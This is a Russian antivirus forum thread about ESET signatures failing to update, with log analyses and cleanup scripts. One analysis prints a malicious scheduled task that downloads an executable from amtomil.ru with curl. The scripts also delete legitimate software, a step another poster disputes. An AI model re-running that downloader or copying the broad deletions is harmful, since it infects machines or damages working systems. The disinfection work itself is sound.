Форум esetnod32.ru [тема: Баз данных сигнатур вирусов устарела] http://forum.esetnod32.ru Новое в теме Баз данных сигнатур вирусов устарела форума на сайте Форум esetnod32.ru [forum.esetnod32.ru] ru http://backend.userland.com/rss2 Tue, 21 Apr 2026 15:09:07 +0300 Баз данных сигнатур вирусов устарела Баз данных сигнатур вирусов устарела обновление не помогает в форуме Обновление антивируса.
Вячеслав Букас

Кто лучше оценивает ситуацию
Вы или я ?
Mail.ru-агент - а кто его трогал ?

Amigo - нет в системе ( есть ведущие в никуда ярлыки )
HASPLMS.EXE   - Файла нет в системе.
ACRORD32INFO.EXE - Файла нет в системе.
Zona ( см. пункт 3 )

ADGUARD - часто источник проблем.
Если он нужен то _ после_ того как проблема решена его ровно 5 минут переустановить.


____________________
1)  
Полное имя                  HTTP://AMTOMIL.RU/F.EXE
Имя файла                   HTTP://AMTOMIL.RU/F.EXE
Сохраненная информация      на момент создания образа
Статус                      в автозапуске
                           
Доп. информация             на момент обновления списка
CmdLine                     -F -L "HTTP://AMTOMIL.RU/F.EXE" -O "C:\USERS\ДМИТРИЙ\APPDATA\ROAMING\CURL\CURL.EXE"
                           
Ссылки на объект            
Ссылка                      C:\WINDOWS\SYSTEM32\TASKS\CURL
                           
Ссылка                      HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{C6B7F9B0-7F11-4A76-901A-E9AD930612DE}\Actions
Actions                     "C:\Users\Дмитрий\AppData\Roaming\curl\curl_7_54.exe" -f -L "http://amtomil.ru/f.exe" -o "C:\Users\Дмитрий\AppData\Roaming\curl\curl.exe"
                           
Ссылка                      HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{C6B7F9B0-7F11-4A76-901A-E9AD930612DE}\

_____________________
2) Полное имя                  C:\USERS\ДМИТРИЙ\APPDATA\LOCAL\SVSHOST\SVSHOST.EXE
Имя файла                   SVSHOST.EXE
Тек. статус                 ?ВИРУС? ПОДОЗРИТЕЛЬНЫЙ в автозапуске

                           
Сохраненная информация      на момент создания образа
Статус                      ПОДОЗРИТЕЛЬНЫЙ в автозапуске
Инф. о файле                Не удается найти указанный файл.
Цифр. подпись               проверка не производилась
                           
Статус                      ПОДОЗРИТЕЛЬНЫЙ ОБЪЕКТ
Путь до файла               Типичен для вирусов и троянов
Имя файла                   Имя файла слишком похоже на имя известного модуля SVCHOST.EXE
                           
Доп. информация             на момент обновления списка
CmdLine                     --STID="14712"
                           
Ссылки на объект            
Ссылка                      C:\WINDOWS\SYSTEM32\TASKS\SVSHOST
                           
Ссылка                      HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{0A612A43-201F-4756-9F69-0E0E7482EFE4}\Actions
Actions                     "C:\Users\Дмитрий\AppData\Local\svshost\svshost.exe" --stid="14712"
                           
Ссылка                      HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{0A612A43-201F-4756-9F69-0E0E7482EFE4}\

3) ZONA = potentially unwanted

Полное имя                  C:\PROGRAM FILES (X86)\ZONA\ZONA.EXE
Имя файла                   ZONA.EXE
Тек. статус                 ?ВИРУС? ПОДОЗРИТЕЛЬНЫЙ [Запускался неявно или вручную]
                           
www.virustotal.com          2017-07-06
K7GW                        Unwanted-Program ( 005009ce1 )
K7AntiVirus                 Unwanted-Program ( 005009ce1 )
DrWeb                       Program.Zona.86
Endgame                     malicious (moderate confidence)
ESET-NOD32                  a variant of Win32/ZvuZona.I potentially unwanted
                           
Сохраненная информация      на момент создания образа
Статус                      ПРОВЕРЕННЫЙ [Запускался неявно или вручную]
File_Id                     579897981A5000
Linker                      10.0
Размер                      1710256 байт
Создан                      08.03.2017 в 23:19:24
Изменен                     08.03.2017 в 23:19:24
                           
TimeStamp                   27.07.2016 в 11:14:32
EntryPoint                  +
OS Version                  5.0
Subsystem                   Windows graphical user interface (GUI) subsystem
IMAGE_FILE_DLL              -
IMAGE_FILE_EXECUTABLE_IMAGE +
Тип файла                   32-х битный ИСПОЛНЯЕМЫЙ
Цифр. подпись               Действительна, подписано "Chetvertoe pokolenie, OOO"
                           
Версия файла                1.0.7.6
Описание                    Zona
Производитель               4th generation
                           
Доп. информация             на момент обновления списка
SHA1                        0A9C80026F31DBEED9C29D681EC09432803F3022
MD5                         3264D23F1998FB7EE67F78B796D78840
                           
Ссылки на объект            
SHORTCUT                    C:\USERS\ДМИТРИЙ\DESKTOP\Zona.lnk
SHORTCUT                    C:\USERS\ДМИТРИЙ\APPDATA\ROAMING\MICROSOFT\WINDOWS\START MENU\PROGRAMS\Zona.lnk
                           

4)
Полное имя                  C:\USERS\ДМИТРИЙ\APPDATA\LOCAL\SEARCHGO\SEARCHGO.EXE
Имя файла                   SEARCHGO.EXE
Тек. статус                 ?ВИРУС? ПОДОЗРИТЕЛЬНЫЙ в автозапуске
                           
www.virustotal.com          2017-07-06

Kaspersky                 AdWare.Win32.Searchgo.n

DrWeb                       Trojan.LoadMoney.2303

Microsoft                   Adware:Win32/Searchgo

ESET-NOD32              a variant of Win32/Adware.SearchGo.B


Сохраненная информация      на момент создания образа
Статус                      ПРОВЕРЕННЫЙ в автозапуске
File_Id                     592FF79B6F000
Linker                      12.0
Размер                      431320 байт
Создан                      05.07.2017 в 19:24:46
Изменен                     05.07.2017 в 19:27:28
                           
TimeStamp                   01.06.2017 в 11:16:43
EntryPoint                  +
OS Version                  5.0
Subsystem                   Windows graphical user interface (GUI) subsystem
IMAGE_FILE_DLL              -
IMAGE_FILE_EXECUTABLE_IMAGE +
Тип файла                   32-х битный ИСПОЛНЯЕМЫЙ
Цифр. подпись               Действительна, подписано "OOO ""Meti-Vostok"""
                           
Версия файла                1.0.0.278
Описание                    Searchgo component
Производитель               Searchgo
                           
Доп. информация             на момент обновления списка
SHA1                        A388241E2682E77F40250B32383DAB1BDB15BE59
MD5                         49E0AF2C4D0870B3187669D61FA65415
                           
Ссылки на объект            
Ссылка                      C:\WINDOWS\SYSTEM32\TASKS\SEARCHGO TASK
                           
Ссылка                      HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{D3D1CBA2-41A6-4845-BBF8-CFC76D274166}\Actions
Actions                     "C:\Users\Дмитрий\AppData\Local\SearchGo\searchgo.exe"
                           
Ссылка                      HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{D3D1CBA2-41A6-4845-BBF8-CFC76D274166}\

5)
Полное имя                  C:\USERS\ДМИТРИЙ\APPDATA\ROAMING\MICROSOFT\MSI.EXE
Имя файла                   MSI.EXE
Тек. статус                 ?ВИРУС? ПОДОЗРИТЕЛЬНЫЙ в автозапуске
                           
www.virustotal.com          2017-07-05

Kaspersky                   UDS:DangerousObject.Multi.Generic

DrWeb                       Trojan.LoadMoney.2399

Avira                       TR/Crypt.ZPACK.Gen

                           

Сохраненная информация      на момент создания образа
Статус                      ПРОВЕРЕННЫЙ в автозапуске
File_Id                     595CDBA9282000
Linker                      6.0
Размер                      2634720 байт
Создан                      05.07.2017 в 19:18:36
Изменен                     05.07.2017 в 19:22:13
Атрибуты                    СКРЫТЫЙ  СИСТЕМНЫЙ  R/O  
                           
TimeStamp                   05.07.2017 в 12:29:29
EntryPoint                  +
OS Version                  4.0
Subsystem                   Windows graphical user interface (GUI) subsystem
IMAGE_FILE_DLL              -
IMAGE_FILE_EXECUTABLE_IMAGE +
Тип файла                   32-х битный ИСПОЛНЯЕМЫЙ
Цифр. подпись               Действительна, подписано LLC KORE
                           
Доп. информация             на момент обновления списка
CmdLine                     CNT=1 FTS="KMS-AKTIVATOR__OODFELLO\KMS-AKTIVATOR__OODFELLO.EXE"
SHA1                        12E8C0F40502E8C6B19720BE0E1761B07B16E8D7
MD5                         149F40495F4BE3BB3179D11067949B1D
                           
Ссылки на объект            
Ссылка                      C:\WINDOWS\SYSTEM32\TASKS\MSI
                           
Ссылка                      HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{CA332735-3D52-4563-BB36-576F3352295F}\Actions
Actions                     "C:\Users\Дмитрий\AppData\Roaming\Microsoft\msi.exe" cnt=1 fts="kms-aktivator__oodfello\kms-aktivator__oodfello.exe"
                           
Ссылка                      HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{CA332735-3D52-4563-BB36-576F3352295F}\
                           

6) C:\WINDOWS\SYSTEM32\EA3HOST.EXE
Kaspersky  not-a-virus:RiskTool.Win32.Agent.aojt
DrWeb  Trojan.LoadMoney.2356                    
_________
И помимо этого мусор от:
KINGOSOFT
и т.д.
07.07.2017 19:36:49, RP55 RP55.]]> http://forum.esetnod32.ru/messages/forum5/topic14128/message99841/ http://forum.esetnod32.ru/messages/forum5/topic14128/message99841/ Fri, 07 Jul 2017 19:36:49 +0300 Обновление антивируса Баз данных сигнатур вирусов устарела Баз данных сигнатур вирусов устарела обновление не помогает в форуме Обновление антивируса.

====quote====
RP55 RP55 написал:
В системе было много лишнего в том числе и рекламные агенты
=============

Бегло прошёлся по тексту скриптов. Amigo - всего лишь альтернативный интернет-браузер, Mail.ru-агент - безобидный интернет-мессенджер, Zona - торрент-клиент, ACRORD32INFO.EXE - модуль программы для просмотра PDF-документов от Adobe, Adguard - программа-блокировщик рекламы от известного разработчика. RP55 RP55, неужели, по-Вашему, все они могут блокировать обновление ESET? А вот это верх всего - HASPLMS.EXE, один из модулей программы защиты ключа от ALADDIN Software. Её использует, например, российская компания АСКОН в составе пакета Kompas-3D - мощного приложения для трёхмерного моделирования


====quote====
RP55 RP55 написал:
для нормальной работы требовалась очистка
=============

Нужно всего-то было переключить режим обновления туда-обратно. Хорошо, что система у человека осталась жива, но проблем в работе некоторых программ после такой очистки не избежать
07.07.2017 18:51:44, Вячеслав Букас.]]> http://forum.esetnod32.ru/messages/forum5/topic14128/message99840/ http://forum.esetnod32.ru/messages/forum5/topic14128/message99840/ Fri, 07 Jul 2017 18:51:44 +0300 Обновление антивируса Баз данных сигнатур вирусов устарела Баз данных сигнатур вирусов устарела обновление не помогает в форуме Обновление антивируса.
В системе было много лишнего в том числе и рекламные агенты.
для нормальной работы требовалась очистка.
07.07.2017 14:44:22, RP55 RP55.]]> http://forum.esetnod32.ru/messages/forum5/topic14128/message99835/ http://forum.esetnod32.ru/messages/forum5/topic14128/message99835/ Fri, 07 Jul 2017 14:44:22 +0300 Обновление антивируса Баз данных сигнатур вирусов устарела Баз данных сигнатур вирусов устарела обновление не помогает в форуме Обновление антивируса.
спасибо, вариант с Тестовым режимом обновления решил проблему.
07.07.2017 12:50:28, Дмитрий Столяров.]]> http://forum.esetnod32.ru/messages/forum5/topic14128/message99833/ http://forum.esetnod32.ru/messages/forum5/topic14128/message99833/ Fri, 07 Jul 2017 12:50:28 +0300 Обновление антивируса Баз данных сигнатур вирусов устарела Баз данных сигнатур вирусов устарела обновление не помогает в форуме Обновление антивируса.
По правде говоря, описанный топик-стартером случай - известный баг версии 10.0.390, о нём не раз писали на официальном форуме разработчиков. Дмитрий Столяров, попробуйте переключить временно режим обновления на Тестовое и попытайтесь обновиться. Если прошло успешно - переключайтесь на Регулярное

Если проблема осталась, надёжнее всего поступить так. Выполните полное удаление, как описано здесь - https://www.esetnod32.ru/support/knowledge_base/solution/?ELEMENT_ID=852896
В зависимости от разрядности системы скачайте дистрибутив актуальной версии по ссылкам ниже:

https://download.eset.com/com/eset/apps/home/ess/windows/latest/ess_nt64_rus.msi
https://download.eset.com/com/eset/apps/home/ess/windows/latest/ess_nt32_rus.msi

Установите и активируйте программу
07.07.2017 11:48:25, Вячеслав Букас.]]> http://forum.esetnod32.ru/messages/forum5/topic14128/message99832/ http://forum.esetnod32.ru/messages/forum5/topic14128/message99832/ Fri, 07 Jul 2017 11:48:25 +0300 Обновление антивируса Баз данных сигнатур вирусов устарела Баз данных сигнатур вирусов устарела обновление не помогает в форуме Обновление антивируса.
http://rgho.st/private/8THrMSZtg/94e876a7a2409d0c218e610d790b94d6
бесполезно....(( а переустановка может поможет?
07.07.2017 00:34:11, Дмитрий Столяров.]]> http://forum.esetnod32.ru/messages/forum5/topic14128/message99827/ http://forum.esetnod32.ru/messages/forum5/topic14128/message99827/ Fri, 07 Jul 2017 00:34:11 +0300 Обновление антивируса Баз данных сигнатур вирусов устарела Баз данных сигнатур вирусов устарела обновление не помогает в форуме Обновление антивируса.
Скопируйте приведенный ниже текст в Блокнот и сохраните файл как fixlist.txt в ту же папку откуда была запущена утилита Farbar Recovery Scan Tool:
...
Запустите FRST и нажмите один раз на кнопку Fix и подождите.

====code==== 
  

ContextMenuHandlers01: [WinRAR32] -> {B41DB860-8EE4-11D2-9906-E49FADC173CA} =>  -> No File
ContextMenuHandlers01: [XXX Groove GFS Context Menu Handler XXX] -> {6C467336-8281-4E60-8204-430CED96822D} =>  -> No File
ContextMenuHandlers03: [XXX Groove GFS Context Menu Handler XXX] -> {6C467336-8281-4E60-8204-430CED96822D} =>  -> No File
ContextMenuHandlers04: [XXX Groove GFS Context Menu Handler XXX] -> {6C467336-8281-4E60-8204-430CED96822D} =>  -> No File
ContextMenuHandlers05: [XXX Groove GFS Context Menu Handler XXX] -> {6C467336-8281-4E60-8204-430CED96822D} =>  -> No File
ContextMenuHandlers06: [WinRAR32] -> {B41DB860-8EE4-11D2-9906-E49FADC173CA} =>  -> No File
ContextMenuHandlers06: [XXX Groove GFS Context Menu Handler XXX] -> {6C467336-8281-4E60-8204-430CED96822D} =>  -> No File
Task: {16DEA092-FB0C-40D0-AE20-0536BECC21D9} - \Microsoft\Windows\EDP\EDP App Launch Task -> No File <==== ATTENTION
Task: {1B65DD58-D16B-45E8-BEB4-94D7E4D64DF7} - \Microsoft\Windows\EDP\EDP Auth Task -> No File <==== ATTENTION
GroupPolicy: Restriction <==== ATTENTION
GroupPolicy\User: Restriction <==== ATTENTION
GroupPolicyScripts: Restriction <==== ATTENTION
OPR Extension: (No Name) - C:\Users\Дмитрий\AppData\Roaming\Opera Software\Opera Stable\Extensions\ahggfmgiidlaceichjfemgbaggnbaloe [2017-07-05]

EmptyTemp:
Reboot:
=============
Программа FRST создаст лог-файл (Fixlog.txt). Пожалуйста, прикрепите его в следующем сообщении!
Проверяем, как работает система...
06.07.2017 22:37:28, RP55 RP55.]]> http://forum.esetnod32.ru/messages/forum5/topic14128/message99826/ http://forum.esetnod32.ru/messages/forum5/topic14128/message99826/ Thu, 06 Jul 2017 22:37:28 +0300 Обновление антивируса Баз данных сигнатур вирусов устарела Баз данных сигнатур вирусов устарела обновление не помогает в форуме Обновление антивируса.
проблема еще осталась (((  вот логи
http://rgho.st/private/6HTCBZVBj/da9aa0d90c319cb754aba40e9b81c80d
http://rgho.st/private/7DzXCwN27/15f6584617369457bb4f3c4ba781fe6c
http://rgho.st/private/8B4cBwTfs/96054ed31cdfde37ee4c95f0cd64d443
06.07.2017 22:20:14, Дмитрий Столяров.]]> http://forum.esetnod32.ru/messages/forum5/topic14128/message99825/ http://forum.esetnod32.ru/messages/forum5/topic14128/message99825/ Thu, 06 Jul 2017 22:20:14 +0300 Обновление антивируса Баз данных сигнатур вирусов устарела Баз данных сигнатур вирусов устарела обновление не помогает в форуме Обновление антивируса.
1) В Malwarebytes - всё найденное удалите.
( поместите в карантин )

2) Выполните лог в AdwCleaner
http://forum.esetnod32.ru/forum9/topic7084/

после завершения сканирования:
Записи относящиеся к Mail.Ru и Yandex можете не удалять ( если пользуетесь программой )
На вкладке:
Папки (Folders) для Mail.Ru  и Yandex снимите [V]


Удалите найденное в AdwCleaner по кнопке Очистить (Clean), подтвердите действие
с автоперезагрузкой

3) Выполните FRST: http://forum.esetnod32.ru/forum9/topic2798/
06.07.2017 19:04:59, RP55 RP55.]]> http://forum.esetnod32.ru/messages/forum5/topic14128/message99822/ http://forum.esetnod32.ru/messages/forum5/topic14128/message99822/ Thu, 06 Jul 2017 19:04:59 +0300 Обновление антивируса Баз данных сигнатур вирусов устарела Баз данных сигнатур вирусов устарела обновление не помогает в форуме Обновление антивируса.
после выполнения скрипта и перезагрузки проблема не устранена
Программой Malwarebytes сделал проверку, результаты по ссылке
http://rgho.st/private/6vLm2fnxM/77393c68b65068d1e1bc14b8b856cf63
06.07.2017 18:10:59, Дмитрий Столяров.]]> http://forum.esetnod32.ru/messages/forum5/topic14128/message99821/ http://forum.esetnod32.ru/messages/forum5/topic14128/message99821/ Thu, 06 Jul 2017 18:10:59 +0300 Обновление антивируса Баз данных сигнатур вирусов устарела Баз данных сигнатур вирусов устарела обновление не помогает в форуме Обновление антивируса.
Скопировать текст КОДА - в буфер обмена.
uVS: start.exe, текущий пользователь, меню, скрипты - выполнить скрипт из буфера обмена.
ПЕРЕД ВЫПОЛНЕНИЕМ СКРИПТА, ЗАКРЫТЬ БРАУЗЕРЫ!
ВНИМАНИЕ : По окончанию выполнения скрипта компьютер выполнит перезагрузку !


====code==== 

;uVS v4.0.5 [http://dsrt.dyndns.org]
;Target OS: NTv10.0
v400c
OFFSGNSAVE
delref HTTP://WWW.STARTGO123.COM/SEARCH/INDEX
delref HTTP://WWW.YOUNDOO.COM/?Z=1BAF3F7FB08168DB8CB1A45GEZBM0C5G9W7WBZ1M6Z&FROM=AMZ&UID=SAMSUNGXSP1654N_S0GEJ1VL900798&TYPE=HP
delref HTTP://MAIL.RU/CNT/10445?GP=811009
delref HTTP://MAIL.RU/CNT/10445?GP=811036
delref HTTP://MAIL.RU/CNT/10445?GP=811560
delref HTTP://MAIL.RU/CNT/10445?GP=822313
delall %SystemDrive%\USERS\ДМИТРИЙ\APPDATA\ROAMING\CURL\CURL.EXE
delref %SystemDrive%\USERS\ДМИТРИЙ\APPDATA\LOCAL\GOOGLE\CHROME\USER DATA\DEFAULT\EXTENSIONS\LPHICBBHFMLLGMOMKKHJFKPBDLNCAFBN\2.1.4_0\LETYSHOPS
delref %SystemDrive%\PROGRAM FILES (X86)\ADGUARD\ADGUARD.EXE
del %SystemDrive%\PROGRAM FILES (X86)\ADGUARD\ADGUARD.EXE
delref %SystemDrive%\PROGRAM FILES (X86)\ADGUARD\ADGUARD.COMMONS.DLL
delref %SystemDrive%\PROGRAM FILES (X86)\ADGUARD\ADGUARD.FILTER.DLL
delref %SystemDrive%\PROGRAM FILES (X86)\ADGUARD\ADGUARD.GLOBAL.DLL
delref %SystemDrive%\PROGRAM FILES (X86)\ADGUARD\ADGUARD.IPC.DLL
delref %SystemDrive%\PROGRAM FILES (X86)\ADGUARD\ADGUARD.SERVICE.DLL
delref %SystemDrive%\PROGRAM FILES (X86)\ADGUARD\ADGUARD.UI.DLL
delref %SystemDrive%\PROGRAM FILES (X86)\ADGUARD\ADGUARDSVC.EXE
delref %SystemDrive%\PROGRAM FILES (X86)\ADGUARD\NEWTONSOFT.JSON.DLL
delref %SystemDrive%\PROGRAM FILES (X86)\ADGUARD\LANGS\ADGUARD.UI.RESOURCES.RU.DLL
deldir %SystemDrive%\PROGRAM FILES (X86)\COMMON FILES\ALADDIN SHARED\HASP
deltmp
restart
;---------command-block---------
delall %SystemDrive%\USERS\ДМИТРИЙ\APPDATA\LOCAL\KINGOSOFT\KINGO ROOT\UPDATE_27205\BIN\KINGOSOFTSERVICE.EXE
delref %SystemRoot%\SERVICEPROFILES\LOCALSERVICE\APPDATA\LOCAL\FONTCACHE\FONTS\CONFIG.JSON
delref {35EF4182-F900-4632-B072-8639E4478A61}\[CLSID]
delref %SystemRoot%\SYSWOW64\MAPSTOASTTASK.DLL
delref %SystemRoot%\SYSWOW64\MAPSUPDATETASK.DLL
delref %SystemDrive%\USERS\ДМИТРИЙ\DESKTOP\B3\ШКОЛА АВТОРЕМОНТА VW PASSAT B3.B4\INFO\MDAC_TYP_2.8.EXE
delref %SystemRoot%\SYSWOW64\COMPMGMTLAUNCHER.EXE
delref %SystemRoot%\SYSWOW64\PEERDISTSVC.DLL
delref %SystemRoot%\SYSWOW64\APPVETWCLIENTRES.DLL
delref %SystemRoot%\SYSWOW64\DRIVERS\MRXSMB.SYS
delref %SystemRoot%\SYSWOW64\W32TIME.DLL
delref %SystemRoot%\SYSWOW64\DRIVERS\NDIS.SYS
delref %SystemRoot%\SYSWOW64\DRIVERS\USBXHCI.SYS
delref %SystemRoot%\SYSWOW64\DRIVERS\SRV2.SYS
delref %SystemRoot%\SYSWOW64\RDPCORETS.DLL
delref %SystemRoot%\SYSWOW64\DRIVERS\HTTP.SYS
delref %SystemRoot%\SYSWOW64\DRIVERS\TCPIP.SYS
delref %SystemRoot%\SYSWOW64\UMPOEXT.DLL
delref %SystemRoot%\SYSWOW64\DRIVERS\DMVSC.SYS
delref %SystemRoot%\SYSWOW64\IPHLPSVC.DLL
delref %SystemRoot%\SYSWOW64\CSCSVC.DLL
delref %SystemRoot%\SYSWOW64\DRIVERS\VMBKMCL.SYS
delref %SystemRoot%\SYSWOW64\DRIVERS\SPACEPORT.SYS
delref %SystemRoot%\SYSWOW64\DRIVERS\FVEVOL.SYS
delref %SystemRoot%\SYSWOW64\DRIVERS\AFD.SYS
delref %SystemRoot%\SYSWOW64\PNRPSVC.DLL
delref %SystemRoot%\SYSWOW64\DRIVERS\PACER.SYS
delref %SystemRoot%\SYSWOW64\HVHOSTSVC.DLL
delref %SystemRoot%\SYSWOW64\LSM.DLL
delref %SystemRoot%\SYSWOW64\DRIVERS\SYNTH3DVSC.SYS
delref {02BF25D5-8C17-4B23-BC80-D3488ABDDC6B}\[CLSID]
delref {0D012ABD-CEED-11D2-9C76-00105AA73033}\[CLSID]
delref {166B1BCA-3F9C-11CF-8075-444553540000}\[CLSID]
delref {233C1507-6A77-46A4-9443-F871F945D258}\[CLSID]
delref {4063BE15-3B08-470D-A0D5-B37161CFFD69}\[CLSID]
delref {444785F1-DE89-4295-863A-D46C3A781394}\[CLSID]
delref {56A58823-AE99-11D5-B90B-0050DACD1F75}\[CLSID]
delref {88D969C0-F192-11D4-A65F-0040963251E5}\[CLSID]
delref {88D969C1-F192-11D4-A65F-0040963251E5}\[CLSID]
delref {88D969C2-F192-11D4-A65F-0040963251E5}\[CLSID]
delref {88D969C3-F192-11D4-A65F-0040963251E5}\[CLSID]
delref {88D969C4-F192-11D4-A65F-0040963251E5}\[CLSID]
delref {88D969C5-F192-11D4-A65F-0040963251E5}\[CLSID]
delref {8AD9C840-044E-11D1-B3E9-00805F499D93}\[CLSID]
delref {CFCDAA03-8BE4-11CF-B84B-0020AFBBCCFA}\[CLSID]
delref {E01D1C6A-4F40-11D3-8958-00105A272DCF}\[CLSID]
delref {0F8604A5-4ECE-4DE1-BA7D-CF10F8AA4F48}\[CLSID]
delref {E6FB5E20-DE35-11CF-9C87-00AA005127ED}\[CLSID]
delref {31D09BA0-12F5-4CCE-BE8A-2923E76605DA}\[CLSID]
delref {D0498E0A-45B7-42AE-A9AA-ABA463DBD3BF}\[CLSID]
delref %SystemDrive%\PROGRAM FILES\MICROSOFT OFFICE\ROOT\OFFICE16\MSOETWRES.DLL
delref %SystemDrive%\PROGRAM FILES\MICROSOFT OFFICE\ROOT\OFFICE16\WWLIB.DLL
delref %SystemDrive%\PROGRAM FILES\MICROSOFT OFFICE\ROOT\VFS\PROGRAMFILESCOMMONX64\MICROSOFT SHARED\OFFICE16\MSO.DLL
delref HELPSVC\[SERVICE]
delref SACSVR\[SERVICE]
delref TBS\[SERVICE]
delref VMMS\[SERVICE]
delref MESSENGER\[SERVICE]
delref %Sys32%\DRIVERS\RDPENCDD.SYS
delref RDSESSMGR\[SERVICE]
delref %Sys32%\DRIVERS\SMARTCARDSIMULATOR.SYS
delref %Sys32%\DRIVERS\VIRTUALSMARTCARDREADER.SYS
delref %Sys32%\DRIVERS\WUDFUSBCCIDDRIVER.SYS
delref %SystemDrive%\PROGRAM FILES (X86)\GOOGLE\UPDATE\1.3.32.7\PSMACHINE_64.DLL
delref %Sys32%\MSMIRADISP.DLL
delref %SystemDrive%\PROGRA~1\COMMON~1\MCAFEE\UPDMGR\308053~1.4\MCCOREPS.DLL
delref %Sys32%\TETHERINGSETTINGHANDLER.DLL
delref %Sys32%\QUICKACTIONSPS.DLL
delref %SystemDrive%\PROGRAM FILES (X86)\GOOGLE\UPDATE\1.3.31.5\PSMACHINE_64.DLL
delref %SystemDrive%\PROGRAM FILES\COMMON FILES\MICROSOFT SHARED\DAO\DAO360.DLL
delref %SystemRoot%\SYSWOW64\SPEECH_ONECORE\COMMON\SPEECHRUNTIME.EXE
delref %SystemRoot%\SYSWOW64\TAPILUA.DLL
delref %SystemRoot%\SYSWOW64\LOCATIONFRAMEWORK.DLL
delref %SystemRoot%\SYSWOW64\MAPSBTSVCPROXY.DLL
delref %SystemDrive%\PROGRAM FILES (X86)\GOOGLE\UPDATE\1.3.32.7\PSMACHINE.DLL
delref %SystemRoot%\SYSWOW64\AUTHHOST.EXE
delref %SystemRoot%\SYSWOW64\EAPPCFGUI.DLL
delref %SystemRoot%\SYSWOW64\RSTRUI.EXE
delref %SystemRoot%\SYSWOW64\LISTSVC.DLL
delref %SystemRoot%\SYSWOW64\AUTHHOSTPROXY.DLL
delref %SystemRoot%\SYSWOW64\WBEM\NLMCIM.DLL
delref %SystemDrive%\PROGRAM FILES (X86)\ISPRING\FREE CAM 8\CAM.EXE
delref %SystemDrive%\PROGRAM FILES (X86)\ADOBE\ACROBAT READER DC\ACRORD32INFO.EXE
delref %SystemRoot%\SYSWOW64\SMARTSCREEN.EXE
delref %SystemRoot%\SYSWOW64\GPSVC.DLL
delref %SystemDrive%\PROGRAM FILES (X86)\GOOGLE\UPDATE\1.3.31.5\PSMACHINE.DLL
delref %SystemRoot%\SYSWOW64\IDLISTEN.DLL
delref %SystemRoot%\SYSWOW64\WIFICONFIGSP.DLL
delref %SystemDrive%\PROGRAM FILES\COMMON FILES\SYSTEM\OLE DB\MSDAORA.DLL
delref I:\ISTUDIO.EXE
delref {424BE3CD-34AB-4F51-9C57-4341166DC8FA}\[CLSID]
delref {611B6CB4-ACE6-4655-8D60-15FAC4AD0952}\[CLSID]
delref {8ABE89E2-1A1E-469B-8AF0-0A111727CFA5}\[CLSID]
delref {8AC780E1-BCDB-4816-A6EA-A88BCC064453}\[CLSID]
delref {A0651028-BA7A-4D71-877F-12E0175A5806}\[CLSID]
apply
=============

+
Далее (даже если проблема решена) выполните лог программой Malwarebytes
http://forum.esetnod32.ru/forum9/topic10688/

Выберите вариант сканирования: Быстрое или Полное сканирование.
Отчет предоставить для анализа ( в своей теме на форуме ).
Отчёт нужно предоставить в .txt ( блокнот )
06.07.2017 17:27:39, RP55 RP55.]]> http://forum.esetnod32.ru/messages/forum5/topic14128/message99820/ http://forum.esetnod32.ru/messages/forum5/topic14128/message99820/ Thu, 06 Jul 2017 17:27:39 +0300 Обновление антивируса Баз данных сигнатур вирусов устарела Баз данных сигнатур вирусов устарела обновление не помогает в форуме Обновление антивируса.
скрипт выполнил
вот новый лог файл
http://rgho.st/7By7HXdDs

баз сигнатур все еще не обновляются
06.07.2017 16:48:23, Дмитрий Столяров.]]> http://forum.esetnod32.ru/messages/forum5/topic14128/message99819/ http://forum.esetnod32.ru/messages/forum5/topic14128/message99819/ Thu, 06 Jul 2017 16:48:23 +0300 Обновление антивируса Баз данных сигнатур вирусов устарела Баз данных сигнатур вирусов устарела обновление не помогает в форуме Обновление антивируса.
Скопировать текст КОДА - в буфер обмена.
uVS: start.exe, текущий пользователь, меню, скрипты - выполнить скрипт из буфера обмена.
ПЕРЕД ВЫПОЛНЕНИЕМ СКРИПТА, ЗАКРЫТЬ БРАУЗЕРЫ!
ВНИМАНИЕ : По окончанию выполнения скрипта компьютер выполнит перезагрузку !
На вопросы программы отвечаем: Да !

====code==== 

;uVS v4.0.5 [http://dsrt.dyndns.org]
;Target OS: NTv10.0
v400c
OFFSGNSAVE
;------------------------autoscript---------------------------

deldirex %SystemDrive%\PROGRAM FILES (X86)\MAIL.RU\UPDATE SERVICE

deldirex %SystemDrive%\USERS\ДМИТРИЙ\APPDATA\LOCAL\SEARCHGO

deldirex %SystemDrive%\USERS\ДМИТРИЙ\APPDATA\LOCAL\SVSHOST

deldirex %SystemDrive%\USERS\ДМИТРИЙ\APPDATA\LOCAL\AMIGO\APPLICATION

deldirex %SystemDrive%\PROGRAM FILES (X86)\ZONA

delref %SystemDrive%\USERS\ДМИТРИЙ\APPDATA\LOCAL\MAIL.RU\MAILRUUPDATER.EXE
del %SystemDrive%\USERS\ДМИТРИЙ\APPDATA\LOCAL\MAIL.RU\MAILRUUPDATER.EXE
delref %SystemDrive%\USERS\ДМИТРИЙ\APPDATA\ROAMING\MICROSOFT\MSI.EXE
del %SystemDrive%\USERS\ДМИТРИЙ\APPDATA\ROAMING\MICROSOFT\MSI.EXE
delref HTTPS://CLIENTS2.GOOGLE.COM/SERVICE/UPDATE2/CRX?RESPONSE=REDIRECT&PRODVERSION=38.0&X=ID%3DBHJHNAFPIILPFFHGLAJCAEPJBNBJEMCI%26INSTALLSOURCE%3DONDEMAND%26UC
delref HTTPS://CLIENTS2.GOOGLE.COM/SERVICE/UPDATE2/CRX?RESPONSE=REDIRECT&PRODVERSION=38.0&X=ID%3DCCFIFBOJENKENPKMNBNNDEADPFDIFFOF%26INSTALLSOURCE%3DONDEMAND%26UC
delref HTTPS://CLIENTS2.GOOGLE.COM/SERVICE/UPDATE2/CRX?RESPONSE=REDIRECT&PRODVERSION=38.0&X=ID%3DEFAIDNBMNNNIBPCAJPCGLCLEFINDMKAJ%26INSTALLSOURCE%3DONDEMAND%26UC
